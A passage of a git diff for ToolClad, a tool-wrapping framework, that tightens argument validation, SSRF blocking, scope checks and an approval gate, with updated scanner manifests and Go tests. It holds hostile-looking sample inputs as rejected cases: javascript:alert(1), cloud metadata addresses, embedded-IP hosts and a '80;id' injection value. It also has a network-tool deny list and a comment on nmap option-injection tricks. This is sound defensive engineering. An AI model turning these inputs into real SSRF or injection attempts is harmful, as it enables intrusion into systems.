URL schemes allowed (this is also the default) +block_internal = true # Required when the tool fetches the URL scope_check = true # Extract host for scope validation description = "Target web application URL" ``` -**Valid:** `http://example.com/path`, `https://test.org` +**Valid:** `http://example.com/path`, `https://test.org:8443/`, `https://[2001:db8::1]/` (shape only; rejected under `block_internal`) -**Rejected:** `ftp://evil.com` (invalid scheme), `not a url` (invalid format), `javascript:alert(1)` (invalid scheme) +**Rejected:** `ftp://evil.com` (scheme always denied), `not a url` (no `://`), `javascript:alert(1)` (scheme always denied), `https://user:pw@example.com/` (userinfo), `https://example.com:99999/` (port out of range), `https://localhost/` (internal name, always blocked), `http://169.254.169.254/latest/meta-data/` (link-local, always blocked), `http://10.0.0.1/` (rejected under `block_internal`), `http://127.0.0.1.nip.io/` (embedded IP literal), `https://example.com/{_secret:token}` (braces) ### `path` @@ -180,8 +242,9 @@ File path with safety constraints. Blocks directory traversal and absolute paths **Validation rules:** +- Value hygiene (NUL, control characters, quotes/backslash, whitespace, leading dash) - Reject shell metacharacters -- Reject traversal sequences: `../` and `..\` +- Reject any `..` path component -- `../x`, `foo/..`, and a bare `..` are all rejected, not just the `../` substring - Reject absolute paths: paths starting with `/` or containing `X:` (Windows drive letter) ```toml @@ -197,11 +260,14 @@ description = "Path to wordlist file" ### `ip_address` -Valid IPv4 or IPv6 address. Parsed and validated by standard library address parsers. +Valid IPv4 or IPv6 address literal in canonical form. Optional `block_internal` and `scope_check`. **Validation rules:** -- Must parse as a valid `Ipv4Addr` or `Ipv6Addr` +- Must parse as a valid IPv4 or IPv6 address +- Non-canonical encodings (`0x7f000001`, `2130706433`, `0177.0.0.1`, `127.1`) are rejected +- The [host and IP policy](#host-and-ip-policy-block_internal) applies: link-local `169.254.0.0/16` and `fe80::/10` are always blocked; `block_internal = true` blocks loopback, private, CGNAT, documentation, and reserved ranges +- If `scope_check = true`, the address must be contained in an allowed CIDR of `scope/scope.toml` ```toml [args.lhost] @@ -209,29 +275,31 @@ type = "ip_address" description = "Listener IP address (LHOST)" ``` -**Valid:** `192.168.1.1`, `10.0.0.1`, `::1`, `2001:db8::1`, `fe80::1` +**Valid:** `192.168.1.1`, `10.0.0.1`, `::1`, `2001:db8::1` (shape only -- all four are rejected under `block_internal = true`), `93.184.216.34` -**Rejected:** `not-an-ip`, `999.999.999.999`, `example.com` +**Rejected:** `not-an-ip`, `999.999.999.999`, `example.com`, `fe80::1` (link-local, always blocked), `169.254.169.254` (always blocked), `0x7f000001` (non-canonical) ### `cidr` -Valid CIDR notation. IPv4 address followed by `/` and a prefix length (0--32). +Valid CIDR notation: an IPv4 or IPv6 address followed by `/` and a prefix length. Optional `block_internal` and `scope_check`. **Validation rules:** -- Must match CIDR pattern: `^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/(\d{1,2})$` -- The IP portion must parse as a valid IPv4 address -- The prefix length must be 0--32 +- The address portion must parse as a canonical IPv4 or IPv6 address +- The prefix length must be 0-32 for IPv4 and 0-128 for IPv6 +- The [host and IP policy](#host-and-ip-policy-block_internal) is tested for **overlap**: the range is rejected if it overlaps any blocked range, not only if its base address is blocked. `8.0.0.0/5` fails under `block_internal` because it overlaps `10.0.0.0/8` +- If `scope_check = true`, the range must be **fully contained** in an allowed CIDR of `scope/scope.toml` ```toml [args.network] type = "cidr" +block_internal = true description = "Network range to scan" ``` -**Valid:** `10.0.1.0/24`, `192.168.0.0/16`, `10.0.0.0/8` +**Valid:** `10.0.1.0/24`, `192.168.0.0/16`, `2001:db8::/32` (shape only -- all rejected under `block_internal`), `203.0.113.0/24` (shape only; documentation range) -**Rejected:** `10.0.0.0/33` (prefix too large), `10.0.0.0` (missing prefix), `not-cidr/24` (invalid IP) +**Rejected:** `10.0.0.0/33` (prefix too large), `10.0.0.0` (missing prefix), `not-cidr/24` (invalid IP), `0.0.0.0/0` (overlaps always-blocked link-local), `8.0.0.0/5` (overlaps `10.0.0.0/8` under `block_internal`) --- @@ -239,10 +307,11 @@ description = "Network range to scan" ### `msf_options` -Semicolon-delimited `set KEY VALUE` pairs for Metasploit. Shell metacharacters are rejected in both keys and values. +Semicolon-delimited `set KEY VALUE` pairs for Metasploit. Shell metacharacters are rejected in both keys and values. This is the only string-derived type exempt from the whitespace rule, because the space is its `KEY VALUE` separator; NUL, control characters, quotes/backslash, and a leading dash are still rejected. **Validation rules:** +- Value hygiene except the whitespace rule - Split on `;` delimiter - Each segment must match `set KEY VALUE` format - No shell metacharacters in keys or values @@ -277,12 +346,12 @@ description = "Path to password list" ### `duration` -Integer with optional time suffix. Bare numbers are treated as seconds. Normalized to seconds for command interpolation. +Integer with optional time-unit components. Bare numbers are treated as seconds. **Validation rules:** -- Must be a positive integer, optionally followed by a suffix -- Supported suffixes: `s` (seconds), `m` (minutes), `h` (hours) +- Value hygiene (NUL, control characters, quotes/backslash, whitespace, leading dash) +- Must match `^\d+$` or `^(?:\d+h)?(?:\d+m)?(?:\d+s)?(?:\d+ms)?$` with a non-empty match -- no surrounding whitespace, no trailing newline - Bare integers are treated as seconds ```toml @@ -292,7 +361,9 @@ default = "5m" description = "Script timeout override" ``` -**Valid:** `30` (30 seconds), `30s` (30 seconds), `5m` (300 seconds), `2h` (7200 seconds) +**Valid:** `30`, `30s`, `5m`, `2h`, `1h30m`, `500ms` + +**Rejected:** `` (empty), `5 m` (whitespace), `-5m` (leading dash), `5d` (unknown unit), `30s\n` (trailing newline) ### `regex_match` @@ -301,8 +372,8 @@ String that must match a declared `pattern` (required for this type). Functional **Validation rules:** - The `pattern` field is mandatory for this type -- Value must match the declared regex -- Shell metacharacters are rejected +- The whole value must match the declared regex (anchored as `^(?:pattern)$`) +- Shell metacharacters and the value-hygiene rules are applied ```toml [args.module] @@ -346,6 +417,62 @@ description = "Minimum severity to report" Custom types inherit all validation behavior from their `base` type, plus any additional constraints declared in the type definition. This eliminates duplication across manifests when multiple tools share the same domain-specific types. +Rules that apply to custom types: + +- A custom `pattern` is anchored exactly like an arg `pattern`: `[a-z]+` means `^(?:[a-z]+)$`, not a substring search. +- A custom type **cannot** carry `block_internal` or `scope_check`. An argument that names a network target must therefore use the built-in `scope_target`, `url`, `ip_address`, or `cidr` type directly. A custom type whose `base` is one of those still counts as a network target for the egress lint, so a manifest that dispatches a network-egress binary with such an argument is refused at load unless the argument sets `block_internal = true` -- which it cannot through the custom type. +- The CLIs discover `toolclad.toml` by walking up from the manifest's directory, so custom types resolve both from the library and from `toolclad validate` / `toolclad test`. + +--- + +## Host and IP Policy (`block_internal`) + +The network-target types (`scope_target`, `url` hosts, `ip_address`, `cidr`) share one range table, implemented identically in all four runtimes. + +### Always blocked + +These are rejected regardless of `block_internal`: + +| Range | Reason | +|-------|--------| +| `169.254.0.0/16` | IPv4 link-local, includes the cloud metadata address `169.254.169.254` | +| `fe80::/10` | IPv6 link-local | +| IPv4-mapped IPv6 forms of the above (`::ffff:169.254.0.0/112`) | same | +| `localhost`, `*.localhost`, `*.local`, `*.internal`, `*.home.arpa`, `*.lan`, `*.intranet`, `*.corp`, `*.private`, `metadata.google.internal` | internal-name denylist, rejected with `resolves to an internal name — always blocked` | + +### Blocked when `block_internal = true` + +| Family | Ranges | +|--------|--------| +| IPv4 | loopback `127.0.0.0/8`, private `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, CGNAT `100.64.0.0/10`, unspecified `0.0.0.0/8`, broadcast `255.255.255.255`, documentation `192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, benchmarking `198.18.0.0/15`, reserved `240.0.0.0/4` | +| IPv6 | loopback `::1`, unspecified `::`, unique-local `fc00::/7`, link-local `fe80::/10`, documentation `2001:db8::/32` | +| Mapped | IPv4-mapped IPv6 forms of all of the above | + +### Hostname rules + +Applied to `scope_target` values and `url` hosts before any lookup: + +1. Punycode (`xn--`) labels are rejected. +2. Non-canonical IP literal encodings are rejected: `0x...`, all-numeric-label forms, octal and shorthand forms. +3. **Embedded IP literals**: if the first four dot-separated labels parse as a canonical dotted-quad IPv4 (`127.0.0.1.nip.io`, `169.254.169.254.xip.io`), or the first label is a dashed quad (`10-0-0-1.nip.io`), the host is treated as that IP and the range policy applies. +4. The internal-suffix denylist above is always applied. +5. **DNS resolution under `block_internal`**: when `block_internal = true` and the host is a name, it is resolved and the range policy is applied to **every** A and AAAA answer. Resolution failure is a rejection (fail closed): `could not resolve host '' to verify it is public (block_internal)`. Rust uses `(host, 0).to_socket_addrs()`, Go `net.DefaultResolver.LookupIPAddr` with a 2 s context, Python `socket.getaddrinfo(host, None)`. + - **JavaScript**: synchronous DNS is not available. The synchronous `validateArg` rejects a *hostname* under `block_internal` with `hostname cannot be verified without DNS resolution; pass an IP literal or use validateArgAsync`. The exported `validateArgAsync` performs the lookup with `dns.promises.lookup({ all: true })` and applies the same policy. This is strictly more restrictive than the other runtimes, never less. + +### CIDR overlap + +A CIDR value is tested for **overlap** with each blocked range, not just its base address. `8.0.0.0/5` therefore fails under `block_internal` because it overlaps `10.0.0.0/8`, and `0.0.0.0/0` always fails because it overlaps link-local. + +### Egress lint + +At load, if `[tool] network_egress = true`, or the manifest uses `[http]` or `[browser]` (which are treated as egress), or the dispatched binary (`tool.binary`, `exec[0]`, or the template's first token) has a basename in the known egress list (`curl`, `wget`, `nmap`, `nc`, `ncat`, `netcat`, `masscan`, `telnet`, `ssh`, `ping`, `fping`, `httpie`, `http`, `wfuzz`, `ffuf`, `hydra`, `nikto`), then **every** argument whose type is `scope_target`, `url`, `ip_address`, `cidr`, or a custom type based on one of those must set `block_internal = true`, or the manifest is rejected. + +--- + +## Scope Enforcement (`scope_check`) + +`scope_check = true` on an argument of type `scope_target`, `url`, `ip_address`, or `cidr` checks the value (the host, for `url`) against the project's `scope/scope.toml`. The file is found via `TOOLCLAD_SCOPE_FILE` or by walking up from the manifest's directory; if none is reachable the value is **rejected** (fail closed). Blocked rules win over allowed rules; `*.example.com` matches strict subdomains at any depth but neither `example.com` nor `evil-example.com`; an IP must be contained in an allowed CIDR and a CIDR value must be fully contained. Without `scope_check = true`, no scope allowlisting happens -- `scope_target` by itself is only a shape check. See [Security Model: Scope Enforcement](security-model.md#scope-enforcement) for the full rules. + --- ## Type Composition Summary @@ -353,11 +480,15 @@ Custom types inherit all validation behavior from their `base` type, plus any ad | Constraint | Applies To | Behavior | |------------|-----------|----------| | `min` / `max` | `integer` | Bounds checking | -| `clamp` | `integer` | Clamp to range instead of rejecting | -| `pattern` | `string`, `regex_match` | Regex validation | +| `min_float` / `max_float` | `number` | Bounds checking | +| `clamp` | `integer`, `number` | Clamp to range instead of rejecting | +| `pattern` | `string`, `regex_match`, custom types | Anchored regex validation (`^(?:pat)$`) | | `allowed` | `enum` | Exhaustive value list | -| `schemes` | `url` | Restrict URL schemes | -| `scope_check` | `url` | Extract host for scope validation | +| `schemes` | `url` | Restrict URL schemes (default `["http", "https"]`; dangerous schemes always refused) | +| `block_internal` | `scope_target`, `url`, `ip_address`, `cidr` | Block loopback/private/reserved ranges, resolve hostnames fail-closed, CIDR overlap check | +| `scope_check` | `scope_target`, `url`, `ip_address`, `cidr` | Check value (host for `url`) against `scope/scope.toml`, fail-closed | +| `allow_whitespace` | string-derived types except `url` | Permit whitespace; honored only in `exec` mode | +| `allow_leading_dash` | string-derived and numeric types | Permit a leading `-` / `+` | | `sanitize` | all string-based | Explicit injection sanitization | | `default` | any | Value when parameter not provided | @@ -365,10 +496,17 @@ Custom types inherit all validation behavior from their `base` type, plus any ad ``` target: injection characters detected (;) in scope_target value +target: must not contain whitespace +target: must not start with '-' or '+' (set allow_leading_dash = true to permit) +target: must not contain NUL bytes +target: resolves to an internal name — always blocked +target: could not resolve host 'intranet-only.example' to verify it is public (block_internal) +target: target '203.0.113.9' is not in scope +target: scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE) scan_type: value "full" not in allowed list [ping, service, version, syn] threads: value 100 exceeds max 64 target_url: scheme "ftp" not in allowed schemes [http, https] -wordlist: path traversal detected (../) +wordlist: path traversal detected (..) lhost: invalid IP address "not-an-ip" network: invalid CIDR notation "10.0.1.0/33" port: port must be 1-65535 diff --git a/examples/curl_fetch.clad.toml b/examples/curl_fetch.clad.toml index 46efb48..0bb1a39 100644 --- a/examples/curl_fetch.clad.toml +++ b/examples/curl_fetch.clad.toml @@ -1,5 +1,15 @@ # ToolClad manifest: HTTP request via curl -# Demonstrates: url type with scope check, enum for methods, conditionals +# Demonstrates: url type with scope check, enum for methods, conditionals, +# and `allow_whitespace` for a value that legitimately contains spaces. +# +# `scope_check = true` resolves against scope/scope.toml, searched upward from +# this file's directory. The repository ships a starter scope file allowing +# example.com and its subdomains, so: +# +# toolclad test examples/curl_fetch.clad.toml --arg url=https://example.com/ +# +# succeeds while any other host is refused. Scope enforcement is fail-closed: +# with no scope file in reach, the call is refused rather than allowed. [tool] name = "curl_fetch" @@ -8,6 +18,7 @@ binary = "curl" description = "HTTP request with headers and response capture" timeout_seconds = 30 risk_tier = "low" +network_egress = true [tool.cedar] resource = "Tool::HttpFetch" @@ -19,6 +30,9 @@ required = true type = "url" schemes = ["http", "https"] scope_check = true +# curl fetches this URL — default-deny internal/SSRF hosts (loopback, private, +# cloud metadata). Use an allowlist if internal fetches are genuinely required. +block_internal = true description = "URL to fetch" [args.method] @@ -34,18 +48,35 @@ position = 3 required = false type = "string" sanitize = ["injection"] +# A header line is "Key: Value", so a space is part of the value. In the array +# form the value stays exactly one argv element, so permitting whitespace here +# cannot add arguments. Quotes, control characters and a leading dash are still +# refused. +allow_whitespace = true default = "" -description = "Extra headers as 'Key: Value' (comma-separated)" +description = "One extra header as 'Key: Value'" [command] -template = "curl -s -S -X {method} --max-time 25 -w '\\n%{{http_code}}' {_header_flags} {url}" +exec = [ + "curl", + "-s", "-S", + "-X", "{method}", + "--max-time", "25", + "-w", "\\n%{{http_code}}", + "{_header_flags}", + "{url}", +] + +# `{{` and `}}` above are escapes for literal braces: curl receives the +# write-out format `\n%{http_code}`, not a ToolClad placeholder. [command.conditionals] -header_flags = { when = "headers != ''", template = "-H '{headers}'" } +header_flags = { when = "headers != ''", template = "-H {headers}" } [output] format = "text" envelope = true +max_bytes = 8388608 [output.schema] type = "object" @@ -53,7 +84,3 @@ type = "object" [output.schema.properties.raw_output] type = "string" description = "HTTP response body" - -[output.schema.properties.status_code] -type = "string" -description = "HTTP status code" diff --git a/examples/dig_lookup.clad.toml b/examples/dig_lookup.clad.toml index db2a7f0..ca3844b 100644 --- a/examples/dig_lookup.clad.toml +++ b/examples/dig_lookup.clad.toml @@ -1,5 +1,5 @@ # ToolClad manifest: DNS lookup via dig -# Demonstrates: enum type for record types, simple template +# Demonstrates: enum type for record types, array-form command construction [tool] name = "dig_lookup" @@ -27,12 +27,15 @@ allowed = ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA", "PTR", "SRV", "ANY"] default = "A" description = "DNS record type" +# `+short` is a literal argv element declared by the manifest. A `scope_target` +# value can never begin with `+` or `-`, so an argument cannot become an option. [command] -template = "dig +short {target} {record_type}" +exec = ["dig", "+short", "{target}", "{record_type}"] [output] format = "text" envelope = true +max_bytes = 8388608 [output.schema] type = "object" diff --git a/examples/nikto_scan.clad.toml b/examples/nikto_scan.clad.toml index 5137cbe..a38a020 100644 --- a/examples/nikto_scan.clad.toml +++ b/examples/nikto_scan.clad.toml @@ -1,7 +1,17 @@ # nikto_scan.clad.toml — Web server vulnerability scanner # # Demonstrates custom types from the project-level toolclad.toml: -# hostname, port_range, severity_level, scan_rate +# port_range, service_protocol, scan_rate +# +# The CLIs discover toolclad.toml by walking up from this file's directory, so +# the custom types resolve both from the library and from `toolclad validate`. +# +# `target` is a built-in `scope_target` rather than the custom `hostname` type: +# a custom type cannot carry `block_internal`, so an egress tool whose target is +# a custom type has no SSRF defense. Keep network targets on the built-in types. +# +# `human_approval = true` is enforced: the default policy gate refuses this tool +# unless the caller supplies an approving gate (`--approve` on the CLIs). [tool] name = "nikto_scan" @@ -11,6 +21,7 @@ description = "Scan a web server for known vulnerabilities and misconfigurations timeout_seconds = 600 risk_tier = "medium" human_approval = true +network_egress = true [tool.cedar] resource = "PenTest::ScanTarget" @@ -19,7 +30,8 @@ action = "execute_tool" [args.target] position = 1 required = true -type = "hostname" +type = "scope_target" +block_internal = true description = "Target hostname to scan" [args.port] @@ -52,10 +64,16 @@ default = "json" description = "Output format" [command] -template = "nikto -h {protocol}://{target}:{port} -maxtime {_timeout} -Format {output_format} {_rate_flag}" +exec = [ + "nikto", + "-h", "{protocol}://{target}:{port}", + "-maxtime", "{maxtime}", + "-Format", "{output_format}", + "{_rate_flag}", +] [command.defaults] -_timeout = "600s" +maxtime = "600s" [command.conditionals.rate_flag] when = "max_rate != '100'" @@ -65,6 +83,7 @@ template = "-Plugins @@ALL -maxrate {max_rate}" format = "json" parser = "builtin:json" envelope = true +max_bytes = 8388608 [output.schema] type = "object" diff --git a/examples/nmap_scan.clad.toml b/examples/nmap_scan.clad.toml index 60e608b..dbec26d 100644 --- a/examples/nmap_scan.clad.toml +++ b/examples/nmap_scan.clad.toml @@ -1,5 +1,11 @@ # ToolClad manifest: nmap network scanner # Demonstrates: enum types, command mappings, XML output parsing, evidence capture +# +# There is deliberately no free-form flag parameter. An argument whose value is +# interpolated as nmap options is an option-injection channel: `-iL /etc/passwd` +# reads arbitrary files into stderr and `--script=` executes attacker Lua +# inside a process that usually holds CAP_NET_RAW. Every supported invocation is +# an entry in [command.mappings.scan_type] instead. [tool] name = "nmap_scan" @@ -8,6 +14,7 @@ binary = "nmap" description = "Network port scanning and service detection" timeout_seconds = 600 risk_tier = "low" +network_egress = true [tool.cedar] resource = "Tool::NmapScan" @@ -24,6 +31,10 @@ hash = "sha256" position = 1 required = true type = "scope_target" +# nmap connects to this target — default-deny internal/SSRF ranges (loopback, +# private, cloud metadata). Under block_internal a hostname must resolve to a +# public address, and a CIDR must not overlap a blocked range. +block_internal = true description = "Target CIDR, IP, or hostname" [args.scan_type] @@ -33,18 +44,22 @@ type = "enum" allowed = ["ping", "service", "version", "syn", "os_detect", "aggressive", "vuln_script"] description = "Type of scan to perform" -[args.extra_flags] -position = 3 -required = false -type = "string" -sanitize = ["injection"] -default = "" -description = "Additional nmap flags (must pass Gate approval)" - # --- Command Construction --- +# +# Array form: every element is one argv entry, dispatched straight to execve. +# `{_scan_type_flags}` is the only multi-token placeholder — its value comes +# from the mapping table below, which is manifest-controlled, not agent-supplied. [command] -template = "nmap {_scan_flags} --max-rate {max_rate} -oX {_output_file} --no-stylesheet -v {extra_flags} {target}" +exec = [ + "nmap", + "{_scan_type_flags}", + "--max-rate", "{max_rate}", + "-oX", "{_output_file}", + "--no-stylesheet", + "-v", + "{target}", +] [command.defaults] max_rate = 1000 @@ -64,6 +79,7 @@ vuln_script = "-sV --script=vuln --script-timeout 60s" format = "xml" parser = "builtin:xml" envelope = true +max_bytes = 8388608 [output.schema] type = "object" diff --git a/examples/whois_lookup.clad.toml b/examples/whois_lookup.clad.toml index 675bca9..f1b7f31 100644 --- a/examples/whois_lookup.clad.toml +++ b/examples/whois_lookup.clad.toml @@ -20,11 +20,12 @@ type = "scope_target" description = "Domain name or IP address to query" [command] -template = "whois {target}" +exec = ["whois", "{target}"] [output] format = "text" envelope = true +max_bytes = 8388608 [output.schema] type = "object" diff --git a/go/cmd/toolclad/main.go b/go/cmd/toolclad/main.go index 86acd0d..f365c5f 100644 --- a/go/cmd/toolclad/main.go +++ b/go/cmd/toolclad/main.go @@ -32,51 +32,49 @@ func main() { } func validateCmd() *cobra.Command { - return &cobra.Command{ + var allowUnknownKeys bool + + cmd := &cobra.Command{ Use: "validate ", Short: "Validate a .clad.toml manifest file", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { path := args[0] - m, err := manifest.LoadManifest(path) + m, err := loadManifest(path, manifest.LoadOptions{ + AllowUnknownKeys: allowUnknownKeys, + }) if err != nil { fmt.Fprintf(os.Stderr, "%s ERROR: %v\n", path, err) return err } - // Validate that all arg types are known. - supported := validator.SupportedTypes() - supportedSet := make(map[string]bool) - for _, t := range supported { - supportedSet[t] = true - } - - for name, arg := range m.Args { - if !supportedSet[arg.Type] { - fmt.Fprintf(os.Stderr, "%s ERROR: arg %q has unknown type %q\n", path, name, arg.Type) - return fmt.Errorf("unknown type %q for arg %q", arg.Type, name) - } - } - - // Validate command has template or executor. - if m.Command.Template == "" && m.Command.Executor == "" { - fmt.Fprintf(os.Stderr, "%s ERROR: no command template or executor\n", path) - return fmt.Errorf("no command template or executor") - } - + // LoadManifest has already compiled [command] into its canonical + // exec form (or accepted another backend), so an exec-only + // manifest is valid here. fmt.Printf("%s OK\n", path) fmt.Printf(" Tool: %s v%s\n", m.Tool.Name, m.Tool.Version) fmt.Printf(" Binary: %s\n", m.Tool.Binary) fmt.Printf(" Risk: %s\n", m.Tool.RiskTier) fmt.Printf(" Args: %d (%d required)\n", len(m.Args), len(m.RequiredArgs())) fmt.Printf(" Timeout: %ds\n", m.Tool.TimeoutSeconds) + switch { + case m.Command.Executor != "": + fmt.Printf(" Command: executor %s\n", m.Command.Executor) + case len(m.Command.Exec) > 0: + fmt.Printf(" Command: %s\n", executor.FormatArgv(m.Command.Exec)) + } return nil }, } + + cmd.Flags().BoolVar(&allowUnknownKeys, "allow-unknown-keys", false, + "Report unknown manifest keys as warnings instead of refusing to load") + return cmd } func runCmd() *cobra.Command { var argFlags []string + var approve bool cmd := &cobra.Command{ Use: "run [--arg key=value ...]", @@ -84,7 +82,7 @@ func runCmd() *cobra.Command { Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { path := args[0] - m, err := manifest.LoadManifest(path) + m, err := loadManifest(path, manifest.LoadOptions{}) if err != nil { return err } @@ -94,10 +92,21 @@ func runCmd() *cobra.Command { return err } - envelope, err := executor.Execute(m, toolArgs) + // Without --approve the default policy gate decides: a + // manifest with human_approval = true or a high/critical + // risk_tier is refused before anything runs. + gate := executor.Gate(executor.DefaultGate) + if approve { + gate = executor.ApproveGate + } + cmd.SilenceUsage = true + envelope, err := executor.ExecuteWithGate(m, toolArgs, gate) if err != nil { - // Still print the envelope for diagnostics. - printJSON(envelope) + // Still print the envelope for diagnostics. A gate + // denial has none: nothing was executed. + if envelope != nil { + printJSON(envelope) + } return err } @@ -107,6 +116,8 @@ func runCmd() *cobra.Command { } cmd.Flags().StringArrayVar(&argFlags, "arg", nil, "Tool argument in key=value format (repeatable)") + cmd.Flags().BoolVar(&approve, "approve", false, + "Approve this run explicitly, bypassing the default policy gate (human_approval, high/critical risk_tier)") return cmd } @@ -117,7 +128,7 @@ func schemaCmd() *cobra.Command { Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { path := args[0] - m, err := manifest.LoadManifest(path) + m, err := loadManifest(path, manifest.LoadOptions{}) if err != nil { return err } @@ -138,7 +149,7 @@ func testCmd() *cobra.Command { Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { path := args[0] - m, err := manifest.LoadManifest(path) + m, err := loadManifest(path, manifest.LoadOptions{}) if err != nil { return err } @@ -172,7 +183,9 @@ func testCmd() *cobra.Command { } } - validated, vErr := validator.ValidateArg(argDef, val) + // allow_whitespace is honored only when the manifest + // declared exec = [...] itself. + validated, vErr := validator.ValidateArgWithCustomTypesIn(argDef, val, m.CustomTypes, m.Command.ExecWasDeclared, m.Scope) status := "OK" if vErr != nil { status = fmt.Sprintf("FAIL: %v", vErr) @@ -191,15 +204,17 @@ func testCmd() *cobra.Command { fmt.Println("(none)") } - // Build command. - cmdStr, buildErr := executor.BuildCommand(m, toolArgs) + // Build argv from the canonical exec form. + argv, buildErr := executor.BuildCommandArgv(m, toolArgs) if buildErr != nil { fmt.Printf(" Command: ERROR: %v\n", buildErr) if firstFailure == nil { firstFailure = buildErr } } else { - fmt.Printf(" Command: %s\n", cmdStr) + fmt.Printf(" Command: %s\n", executor.FormatArgv(argv)) + argvJSON, _ := json.Marshal(argv) + fmt.Printf(" Argv: %s\n", argvJSON) } if m.Tool.Cedar != nil { @@ -207,6 +222,11 @@ func testCmd() *cobra.Command { } fmt.Printf(" Timeout: %ds\n", m.Tool.TimeoutSeconds) fmt.Printf(" Risk: %s\n", m.Tool.RiskTier) + approval := "not required" + if d := executor.DefaultGate(m, nil); !d.Allowed { + approval = "required (" + d.Reason + "); pass --approve to run" + } + fmt.Printf(" Approval: %s\n", approval) fmt.Println() fmt.Println(" [dry run -- command not executed]") return firstFailure @@ -217,6 +237,22 @@ func testCmd() *cobra.Command { return cmd } +// loadManifest is the one load path every subcommand uses: the library's +// LoadManifestWithOptions discovers toolclad.toml upward from the manifest +// (or TOOLCLAD_CONFIG_FILE) and type-checks every argument against the +// built-in and custom types; ValidateManifestWithCustomTypes then re-checks +// custom-type defaults and the egress lint with the custom types in hand. +func loadManifest(path string, opts manifest.LoadOptions) (*manifest.Manifest, error) { + m, err := manifest.LoadManifestWithOptions(path, opts) + if err != nil { + return nil, err + } + if err := validator.ValidateManifestWithCustomTypes(m, m.CustomTypes); err != nil { + return nil, fmt.Errorf("manifest %s: %w", path, err) + } + return m, nil +} + // parseArgFlags parses --arg key=value flags into a map. func parseArgFlags(flags []string) (map[string]string, error) { result := make(map[string]string) diff --git a/go/cmd/toolclad/main_test.go b/go/cmd/toolclad/main_test.go new file mode 100644 index 0000000..f8a2378 --- /dev/null +++ b/go/cmd/toolclad/main_test.go @@ -0,0 +1,164 @@ +package main + +import ( + "net" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/thirdkeyai/toolclad/pkg/executor" + "github.com/thirdkeyai/toolclad/pkg/manifest" +) + +const approvalManifest = ` +[tool] +name = "echo_approval" +version = "1.0.0" +description = "echo behind the approval gate" +human_approval = true + +[args.msg] +type = "string" +required = true +description = "message" + +[command] +exec = ["echo", "{msg}"] + +[output] +format = "text" +` + +func writeManifest(t *testing.T, body string) string { + t.Helper() + p := filepath.Join(t.TempDir(), "tool.clad.toml") + if err := os.WriteFile(p, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + return p +} + +func TestRunWithoutApproveIsDenied(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + cmd := runCmd() + cmd.SetArgs([]string{writeManifest(t, approvalManifest), "--arg", "msg=hello"}) + cmd.SilenceErrors = true + err := cmd.Execute() + want := "policy gate denied: manifest requires human approval (human_approval = true)" + if err == nil || err.Error() != want { + t.Fatalf("want %q, got %v", want, err) + } +} + +func TestRunWithApproveRuns(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + cmd := runCmd() + cmd.SetArgs([]string{writeManifest(t, approvalManifest), "--arg", "msg=hello", "--approve"}) + cmd.SilenceErrors = true + if err := cmd.Execute(); err != nil { + t.Fatalf("approved run failed: %v", err) + } +} + +func TestDryRunIsNotGated(t *testing.T) { + cmd := testCmd() + cmd.SetArgs([]string{writeManifest(t, approvalManifest), "--arg", "msg=hello"}) + cmd.SilenceErrors = true + if err := cmd.Execute(); err != nil { + t.Fatalf("dry run must not be gated: %v", err) + } +} + +// The shipped nikto example sets human_approval = true. Without --approve it +// must exit non-zero and never execute nikto. (No test runs it with +// --approve: that would execute nikto.) +func TestRunNiktoExampleWithoutApproveFails(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + cmd := runCmd() + cmd.SetArgs([]string{"../../../examples/nikto_scan.clad.toml", "--arg", "target=93.184.216.34"}) + cmd.SilenceErrors = true + err := cmd.Execute() + if err == nil { + t.Fatal("nikto example must not run without --approve") + } + // The CLI loads the project toolclad.toml, so the custom types resolve + // and the refusal comes from the policy gate, before anything runs. + if !strings.Contains(err.Error(), "policy gate denied") { + t.Fatalf("unexpected error: %v", err) + } +} + +// examplesDir resolves the repository's examples directory relative to the +// Go runtime directory, skipping when it is genuinely absent (a module +// copied out of the repository). +func examplesDir(t *testing.T) string { + t.Helper() + dir := filepath.Join("..", "..", "..", "examples") + if info, err := os.Stat(dir); err != nil || !info.IsDir() { + t.Skipf("examples directory %s not present; skipping example dry runs", dir) + } + return dir +} + +// TestShippedExamplesEndToEnd loads every shipped example through the same +// path the CLI uses (toolclad.toml and scope discovery included) and checks +// the dry-run argv. Nothing is executed. +func TestShippedExamplesEndToEnd(t *testing.T) { + t.Setenv("TOOLCLAD_SCOPE_FILE", "") + t.Setenv("TOOLCLAD_CONFIG_FILE", "") + dir := examplesDir(t) + load := func(name string) *manifest.Manifest { + t.Helper() + m, err := loadManifest(filepath.Join(dir, name), manifest.LoadOptions{}) + if err != nil { + t.Fatalf("%s: %v", name, err) + } + return m + } + for _, name := range []string{ + "curl_fetch.clad.toml", "dig_lookup.clad.toml", "nikto_scan.clad.toml", + "nmap_scan.clad.toml", "whois_lookup.clad.toml", + } { + load(name) + cmd := validateCmd() + cmd.SetArgs([]string{filepath.Join(dir, name)}) + cmd.SilenceErrors = true + if err := cmd.Execute(); err != nil { + t.Errorf("validate %s: %v", name, err) + } + } + + nikto := load("nikto_scan.clad.toml") + argv, err := executor.BuildCommandArgv(nikto, map[string]string{ + "target": "93.184.216.34", "port": "8080-8090", "protocol": "https", "max_rate": "250", + }) + if err != nil { + t.Fatalf("nikto dry run: %v", err) + } + joined := "\x00" + strings.Join(argv, "\x00") + "\x00" + for _, tok := range []string{"-h", "https://93.184.216.34:8080-8090", "-Plugins", "@@ALL", "-maxrate", "250"} { + if !strings.Contains(joined, "\x00"+tok+"\x00") { + t.Errorf("nikto argv %q lacks token %q", argv, tok) + } + } + if _, err := executor.BuildCommandArgv(nikto, map[string]string{ + "target": "93.184.216.34", "port": "80;id", + }); err == nil 